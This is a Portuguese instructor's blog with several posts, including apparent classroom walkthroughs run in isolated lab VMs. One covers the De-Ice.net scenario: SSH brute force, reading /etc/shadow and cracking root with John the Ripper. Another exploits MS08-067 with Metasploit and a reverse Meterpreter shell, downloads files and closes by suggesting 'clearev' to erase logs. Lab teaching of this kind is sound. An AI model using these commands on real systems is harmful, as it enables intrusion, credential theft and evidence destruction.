terça-feira, 18 de junho de 2013

Palestra na E.M.E.F. Alzira Silveira Araújo

No dia 17/06/2013, ministrei na E.M.E.F Alzira Silveira Araújo em Cachoeirinha a palestra sobre Cyberbullying e Segurança na Internet. Cheguei até a escola através do amigo Gustavo Coelho que lá leciona e fui muito bem recebido pelo mesmo e pela vice-diretora Adriane Armignon, bem como por alguns integrantes do corpo docente: Cristina, Ivanise, Márcia e outros professores. Abaixo, a galerinha se posicionando para a atividade ;o)


 Tivemos um público de alunos bem interessados e uma conversa muito produtiva. Aqui a sra. Cristina explicando como procederíamos antes de iniciar a palestra.


Por pouco mais de uma hora, conversamos sobre o Cyberbullying, como ele se manifesta, como prevenir, como denunciar e etc.



Também conversamos um pouco sobre segurança na Internet, vimos alguns casos "clássicos" de super-exposição nas redes sociais, entre outros assuntos. Muito bom poder conversar com um público interessado e participativo como foram os alunos da escola que estão de parabéns!


Foi uma bela oportunidade e espero poder voltar lá  com mais tempo, pois só para variar um pouquinho, estrapolei o tempo disponível ;o) Pelo menos fiquei muito feliz com os pedidos de alguns alunos para que eu voltasse à escola para uma nova atividade. Podem ter certeza que farei com prazer, é só chamar. Gosto sempre de parabenizar instituições que levam esse tipo de discussão aos seus alunos.

Ao final da palestra, além de um "mimo" da escola, ganhei também um "retrato a mão" feito por um dos alunos (o tipo de coisa que não tem preço, que justifica infinitamente a realização de atividades como essa). Assim que der, posto aqui também.

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"

quinta-feira, 13 de junho de 2013

Cenário De-Ice.net 1.100

Conforme combinado em aula, segue a resolução do cenário "De-Ice.net 1.100". Essa imagem com o slackware pode ser baixada aqui. Como o cenário foi praticado em aula, a ideia é que vocês tenham um guia de futura referência, e não explanar cada particularidade da solução. Lembrando que, o objetivo da atividade é entrar no servidor e encontrar uma informação importante que ele contém.

Primeiramente, lembre-se de que, tanto a VM a ser invadida quanto a VM do Backtrack precisam estar com a placa de rede no modo "Rede Interna". Ao subir a VM do De-Ice.net, teremos a seguinte tela:

Agora configure seu adaptador de rede com o IP 192.168.1.x  (qualquer IP, menos o 100).


Começaremos com o Footprinting/Fingerprinting do alvo. A saída do nmap, mostra que existe um computador 192.168.1.100 na rede, com diversos serviços rodando (FTP, SSH, Apache...). O comando mostra inclusive as versões desses programas e do S.O. remoto (fingerprintng).


Como ele está escutando na porta 80, é natural que acessemos a página web para tentarmos coletar alguma informação que possa ser relevante para a atividade (footprinting).


Podemos ver na segunda página que, além de algumas informações da empresa, temos uma lista de contatos da equipe de TI.O que vamos fazer é criar uma lista de usuários possíveis, baseando-se nessa informação adquirida no site e tentar explorar algum dos serviços disponíveis, como o SSH, por exemplo. 

Criamos então um arquivo com diversos usuários em "/root/usuarios", de acordo com as suas informações de e-mail, colocando inclusive algumas outras situações possíveis comumente utilizadas pelas empresas para criar logins de usuários nos sistemas:


Agora utilizando um dos arquivos de senhas do próprio Backtrack, vamos tentar explorar o serviço SSH através do programa Meduda (em aula também o fizemos com o Hydra-GTK), para tentar descobrir as senhas de alguns desses usuários:



No comando acima, definimos a criação do arquivo "/root/logins" com as senhas que fossem encontradas. Veja abaixo que o programa foi capaz de quebrar a senha dos usuários "bbanter" e "aadams". A senha do aadams foi removida justamente para incentivá-lo a executar o cenário novamente e pra não estragar a diversão de quem ainda não o fez ;o)


Descoberta a senha do "aadams", vamos logar com ele no sistema. Na primeira conexão há a troca de chaves e a conexão é bem sucedida.


 Apesar do usuário logado, não poder virar superusuário, ele consegue executar alguns comandos como superusuário. Ao executarmos o "sudo more /etc/shadow", somos capazes de verificar o conteúdo do arquivo de senhas da vítima.



 Copie o conteúdo desse arquivo e cole num editor de texto. No exemplo abaixo, salvamos o arquivo no nosso computador como "/root/shadow".


De posse do arquivo "shadow" do servidor remoto, o próximo passo é tentar quebrar a senha do usuário "root". Para isso entraremos no menu "Applications" -> "Backtrack" ->  "Privilege Escalation" - "Password Attacks" -> "Offline Attacks" -> "John the ripper". 



Executaremos o John, especificamente no usuário "root". Veja abaixo que, com o arquivo de senhas disponibilizado pelo próprio John, a senha foi quebrada em 1 minuto e 44 segundos.  ;o(


De posse da senha de root,  vamos logar no servidor remoto novamente. Note que, é inútil tentar logar via SSH com o usuário "root", pois sabiamente, o login de superusuário não é permitido remotamente, conforme podemos ver abaixo:


 A solução é logar com o usuário "aadams" e então executar o comando "su".


 Pronto, logado como superusuário no servidor remoto. Agora garimpando os arquivos, foi encontrado o arquivo "/home/ftp/incoming/salary_dec2003.csv.enc". Descriptografe esse arquivo e a atividade estará concluída. 


Lembrando novamente que esse cenário e seus comandos foram explorados em aula. E conforme pudemos constatar em aula, independente das vulnerabilidades de cada serviço, veja o quão importante é a utilização de senhas seguras para acesso aos serviços. Uma senha de usuário "root" que pode ser quebrada em 1 minuto (e aqui registre-se que a minha máquina virtual com Backtrack tinha apenas 1GB de memória), é uma vergonha e deveria ser considerada criminosa ;o)

Lembrando que essa é apenas uma das maneiras de resolver esse cenário. Se alguém resolveu de maneiras diferentes, por favor compartilhe!!! ;o)

Bons estudos.

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"

quarta-feira, 12 de junho de 2013

Criando máquinas virtuais com o Oracle Virtual Box

Devido a quantidade de solicitações dos meus alunos da disciplina de "Introdução às Redes de Computadores", "Sistemas Operacionais" e mesmo os de "Redes I e II", criei um pequeno tutorial mostrando como criar máquinas virtuais no Oracle Virtual Box, para que vocês possam testar outros sistemas operacionais. É exatamente a mesma configuração que fazemos/faremos em aula, portanto esse material fica apenas como referência adicional e não tem a intenção de esgotar o assunto. Para esse tutorial usei o Oracle VirtualBox 4.0.0 r69151, mas não devem haver modificações tão significativas na criação das máquinas em versões futuras.

Primeriramente clique na opção "Novo", conforme mostra a imagem abaixo:

 Essa opção abrirá o "Assistente de Criação de Máquina Virtual". Clique no botão "Próximo" para continuar.


Na próxima tela, adicione o nome do servidor e qual sistema operacional será utilizado.Nesse exemplo, estarei utilizando o nome "Ubuntu Server". Clique em "Próximo" para continuar.


Selecione a quantidade de memória do seu computador que deseja destinar à máquina virtual. Perceba que existe uma barra horizontal colorida na forma de um medidor, que fica mais vermelho (perifgo!) a medida que você vai dedicando mais memória ao sistema de destino. É recomendável manter a máquina virtual no medidor "verde" ;o) Nas nossas máquinas virtuais com Ubuntu Server, onde veremos comandos básicos do sistema e instalaremos apenas alguns serviços, (DHCP, SSH, Squid, Apache...) para ver suas funcionalidades, não precisaremos mais do que 1GB (512MB já seriam suficientes). Depois de definida a configuração, clique em "Próximo".


 O assistente chega então a fase de criação de um "Disco Rígido Virtual". Aqui é onde você vai definir a capacidade do HD virtual a ser utilizado. Selecione a opção "Criar novo disco rígido" e clique em "Próximo". Se você tivesse um HD virtual, de uma máquina que você já tivesse instalado anteriormente, poderia usar a opção "Usar disco rígido existente" para utilizá-la (isso permite por exemplo, que você instale uma máquina virtual em aula e leve-a para casa para continuar seus estudos ;o)).


 No próximo passo do assistente da criação de disco, clique "Próximo".


Escolha o tipo "Armazenamento dinamicamente expansível" ao invés da outra opção. Isso permite que seu arquivo de HD virtual cresça até o tamanho estipulado, ao invés de reservar todo o espaço de uma única vez. Isso será útil, por exemplo, caso haja a necessidade de levar sua máquina de um lugar pro outro. 

Vamos criar um HD virtual de 8GB, que após a instalação do sistema, ficará com aproximadamente 1GB. Ao invés de você ter de copiar 8GB para seu pen-drive ou HD externo toda vez que necessitar transportar a máquina, levará apenas o tamanho que ela realmente ocupa no disco. Não se preocupe pois, independente da quantidade de programas e serviços que você instale, essa máquina crescerá no máximo até 8GB que foi o tamanho estuipulado na criação, não interferindo no tamanho do seu disco principal.


Nesta tela você escolherá a localização e o tamanho do disco virtual. Depois de definido, clique em "Próximo".


 Após estipular o tamaho, clique em "Próximo" no sumário do disco...


 ... e em "Próximo" no sumário da criação da máquina virtual.


Pronto! Clique em "Finalizar" e a máquina estará criada. Agora só falta configurarmos algumas opções antes de iniciarmos. Veja que, apenas criamos uma máquina virtual; ainda não existe um sistema  operacional instalado nela, portanto não é uma máquina bootável (se é que essa palavra existe ;o)). 


 Selecione a sua máquina virtual e clique em "Configurações". Na opção "Armazenamento", perceba que sua unidade de CD está vazia. Existe um botão com um "CD"  no canto direito chamado "Configurar o drive de CD/DVD virtual",  onde você poderá escolher se deseja utilizar o drive do hospedeiro (caso você tenha em mãos um CD/DVD físico do sistema operacional), ou uma imagem ".ISO" do sistema operacional desejado.


Como temos a imagem do S.O. que desejamos instalar, selecione-a para instalação.


Perceba agora que, nosso drive de CD/DVD agora tem a imagem de instalação do Ubuntu Server.


Agora sim, você já pode iniciar sua máquina virtual, selecionando sua máquina e clicando no "Iniciar".




Outra configuração que é interessante realizar é a configuração da rede. Para deixarmos a máquina virtual na mesma rede da escola, clique na opção "Rede" e coloque sua placa conectada em "Placa em modo bridge". Dessa maneira, você será capaz de acessar as outras máquinas da rede local e inclusive buscar um IP do DHCP da escola. Dessa forma você pode fazer com que seu sistema Windows acesse a máquina virtual. Se você instalar um servidor web Apache na máquina virtual, por exemplo, poderá acessá-lo do seu computador Windows ou mesmo através das demais máquinas da rede.
 

Na disciplina de  "Segurança de Redes" do pós técnico, é comum que subamos duas máquinas virtuais, uma com uma distro Linux para pentest e outra com vulnerabilidades prontas a serem exploradas. Colocando ambas no modo "Rede Interna" é possível criar todo um cenário no computador do aluno através de máquinas virtuais, sem afetar a rede da escola. 

Outra configuração importante a ser feita ocorre quando você copia uma máquina virtual de alguém (de um colega, por exemplo) e vocês estarão na mesma rede (placas em modo Bridge). Se você simplesmente copiar a máquina virtual para o seu Oracle Virtual Box e tanto você, quanto a máquina original, ingressarem na rede, vocês dois (ou três, ou quatro, ou "n"), terão o mesmo mac address virtual e logo, receberão o mesmo IP do DHCP. Para evitar essa situação, se você copiou a máquina virtual de um colega, antes de bootar a VM vá até a opção "Rede", na seção "Avançado" e clique no botão verde ao lado do "Endereço Mac", para que ele gere outro Mac Address diferente para a sua máquina. Feita a configuração, é só bootar! Todas as máquinas da rede com o mesmo MAC devem fazer esse procedimento.


Espero que esse seja um bom ponto de partida para que vocês comecem a trabalhar com máquinas virtuais e, principalmente, TESTEM OUTROS SISTEMAS OPERACIONAIS!!! ;o) Estejam cientes de que existem outras opções a serem exploradas, portanto explorem-nas. Existem também outros softwares de virtualização como o Windows Virtual PC ou o VMware Player. E é claro que existem também as opções de software livre.

Bons estudos.

quinta-feira, 6 de junho de 2013

Site com imagens para Pentest

Tenho falado aqui continuamente que, apesar deste blog tratar bastante sobre segurança da informação e algumas vezes até sobre invasões de sistemas, não aprovo a prática de invadir computadores (se é que alguém nesse mundo liga para o que eu aprovo ou deixo de aprovar ;o)). Mesmo correndo o risco de me tornar muito repetitivo, quero deixar claro mais uma vez que o objetivo desse blog é puramente educacional. Costumo fazer posts com informações para pessoas que estão iniciando na área de TI, outros com dicas de ferramentas e aplicativos que julgo serem interessantes; alguns posts servem como material de referência às palestras que tenho feito voluntariamente e algumas postagens são específicas para meus alunos, como complemento as atividades vistas em aula. 

Em contrapartida, é fato que para aprender a se defender é preciso entender como os ataques acontecem, e aqui reside a motivação educacional das invasões. Nenhum dos assuntos aqui abordados é novidade para quem já está na área de TI há algum tempo. Pelo contrário, quem atua na área de segurança em TI sabe que todos os exemplos expostos aqui são amplamente difundidos e estudados nas escolas técnicas, universidades, cursos e afins. Muito do que exponho aqui inclusive, aprendi durante minha formação acadêmica (que infelizmente não foi barata), e nisso reside minha necessidade de "compartilhar informação", pois nem todos têm acesso a ela.  Além disso, também recebi muita ajuda durante minha formação, tanto de professores quanto de outros colegas e até mesmo de profissionais que eu sequer conheci, mas que participaram voluntariamente de uma pesquisa sobre metodologias de Pentest que utilizei no meu artigo da Pós Graduação.

Esse compartilhamento de informações é também um dos motivos pelos quais mantenho as palestras gratuitas, pois quanto mais pessoas estiverem criando senhas seguras, expondo menos informações sensíveis, utilizando mais "Bom Senso" e sendo mais criteriosos na navegação, menos casos de invasões bem sucedidas serão computadas, menos hoaxes se espalharão pela web, mais "limpa" vai ficando a grande rede. É utópico pensar que dada a gama de ataques aos quais estamos expostos, esse trabalho de formiguinha vai trazer algum resultado? Talvez, mas como costumo comentar, se entre mil pessoas que me ouviram, uma mudou seus hábitos relacionados a segurança digital, então a missão foi cumprida.

Voltando ao assunto principal, "Ok, não é legal invadir computadores alheios, mas então como praticar?" Resposta: Em ambientes controlados!!! Existem várias iniciativas no sentido de disponibilizar máquinas virtuais com diversas vulnerabilidades, de forma que você possa testar as ferramentas num ambiente controlado que não trará dano a nenhum computador ou rede de terceiros. No blog "Mundo Tecnológico" do Diego Piffaretti, tem uma bela compilação de projetos que incentivam essa prática da invasão como método de aprendizagem para que você possa testar e aprimorar seus conhecimentos. Inclusive com projetos do OWASP, que é referência em segurana de aplicações web. Algumas dessas máquinas eu trabalho em aula com meus alunos, vale a pena baixar e testar.

Segue novamente o link do blog: 
http://mundotecnologico.net/2012/10/04/montando-um-laboratorio-completo-para-pentest/
Aqui o link para o Virtual Hacking Lab no Source Forge:
http://sourceforge.net/projects/virtualhacking/files/os/

Esteja sempre consciente dos seus atos e bons estudos.

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"

quarta-feira, 5 de junho de 2013

Exemplo de invasão com o Metasploit Framework

Conforme havia combinado com meus alunos, segue um post de invasão utilizando o Metasploit Framework. Sempre lembrando que o objetivo é puramente EDUCACIONAL conforme pode ser lido no primeiro post. Sob hipótese alguma incentivo a prática de invadir computadores de terceiros e o material aqui exposto serve apenas como complemento ao material de aula. Até por que trata-se de uma prática de invasão que explora uma vulnerabilidade bem conhecida e que está sendo executada num ambiente controlado baseado em máquinas virtuais.

Então mãos a obra. Primeiramente o cenário:

Vítima
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Instalado Windows XP SP2.
- IP 192.168.1.100.

Atacante
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Rodando Live CD do BackTrack R2.
- IP 192.168.1.50.

Aqui verificamos que a vítima está rodando o Windows XP SP2 e configuramos sua rede:








Na máquina do atacante, rodando o Live CD do Backtrack, configuramos a rede com o comando "ifconfig eth0 192.168.1.50 netmask 255.255.255.0". Como ambos os adaptadores das máquinas virtuais estão como "Rede Interna" e elas estão na mesma rede, elas já podem se pingar.


Uma vez que as máquinas já se enxergam, vamos abrir a interface gráfica do Backtrack com o comando "starxt". Com a interface aberta navegue até "Applications" -> "Backtrack" -> "Explotation Tools" -> "Network Explotation Tools" -> "Metasploit Framework" -> "msfconsole". (note que você também poderia ter aberto o framework digitando simplesmente "msfconsole" diretamente na linha de comandos.


Ao ser aberto, o MSF abrirá uma tela semelhante a essa (ou com um banner diferente). Toda vez que você abre o msfconsole ele pode te mostrar um banner diferente e você pode inclusive ver outros banners com o digitando "banner" na linha de comandos.


Agora é hora de verificar quais portas abertas o computador da vítima possui usando o nmap. Nessa sintaxe, utilizaremos um arquivo de script para checar se o computador remoto é vulnerável a alguns ataques específicos. No nosso caso, ao MS08-067, uma vulnerabilidade do Windows RPC que pode permitir a execução remota de comandos. Para saber mais visite: http://nmap.org/nsedoc/scripts/smb-check-vulns.html
A sintaxe do comando é: nmap -A --script=smb-check-vulns -P0 192.168.1.100. Note na tela abaixo que o nmap ja verifica se o sistema está ou não vulnerável ao MS08-067. É muito importante não rodar essa checagem num ambiente de produção pois existe uma grande possibilidade de ela travar o sistema remoto, então novamente, execute em ambiente controlado.


Agora que sabemos que o sistema é vulnerável, vamos procurá-lo para saber exatamente o nome do exploit que precisamos utilizar com o comando "search ms08-067".


Encontrado o exploit, vamos utilizá-lo com o comando "use exploit/windows/smb/ms08_067_netapi" como mostra a tela abaixo.


 Agora que já selecionamos o exploit a ser utilizado, vamos analisar as opções que ele precisa para executar. Atente a coluna "Required", que informa se uma determinada variável é requerida ou não para execução do exploit. Digite "show options".Veja que a variável "RHOST" é necessária pois trata-se justamente do host remoto (computador da vítima), e não está preenchido.


Poderíamos já setar a variável RHOST, mas vamos definir todas as variáveis necessárias num segundo momento. Vamos verificar quais os payloads disponíveis para esse exploit. Digite o comando "show payloads".


Uma lista com diversos payloads será exibida. Vamos escolher o meterpreter/reverse_tcp, que permitirá uma conexão reversa  da máquina da vítima para a minha máquina na porta 4444. Defina o payload com o comando "set PAYLOAD windows/meterpreter/reverse_tcp".


Se olharmos as opções novamente, agora teremos acesso as variáveis necessárias do exploit, do payload e também do alvo (target). Veja que o RHOST (host remoto ou máquina da vítima) e o LHOST (a máquina local ou a máquina do atacante) ainda não estão preenchidos.


Ao invés de utilizarmos o target automático como a imagem acima sugere, vamos verificar quais são os alvos disponíveis para refinarmos nosso ataque. Digite na console o comando "show targets" e uma lista com diversos sistemas alvo será exibida na sua tela. Como o Windows que fizemos o teste é em português, utilizaremos o target "34".

 Para isso, definiremos o target como 34 através do comando "set TARGET 34".


Vamos aproveitar e definir também as demais variáveis necessárias. Digite os comandos "set RHOST 192.168.1.100" e "set LHOST 192.168.1.50".


Se você exibir suas configurações novamente, verá que todas as variáveis já foram definidas.


Uma vez que todas as variáveis foram configuradas, vamos rodar finalmente o exploit com o comando "exploit".


Veja que a conexão foi bem sucedida "Meterpreter session 1 opened 192.168.1.50:4444 -> 192.168.1.100:1050". Executando o comando "help", você pode ver a quantidade de comandos que podem ser digitados nessa sessão aberta no computador do usuário. Veja que são tantos comandos, que eles são exibidos na ajuda por categorias: Comandos Core, comandos de sistemas de arquivos, comandos de rede, comandos de sistema, comandos da interface de usuário, comandos da webcam, etc.


 
 

 Note que na seção de comandos de sistema, temos um comando chamado "shell", que abre um shell de comandos no sistema remoto. Digite então "shell" e veja que você agora está logado no sistema remoto com um shell no "C:\Windows\System32"  \o/\o/\o/.


Você agora está com um shell remoto, se executar comandos como "cd \" e "dir" por exemplo, ele mostra o que o usuário tem no disco.


 O comando "ipconfig" mostra as configurações da rede...


... e o comando  "download" permite que você busque arquivos.


Você está dentro da máquina da vítima, então agora o resto vai da sua imaginação. Ao terminar não esqueça de rodar o "clearev" ;o)

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"
Related Posts Plugin for WordPress, Blogger...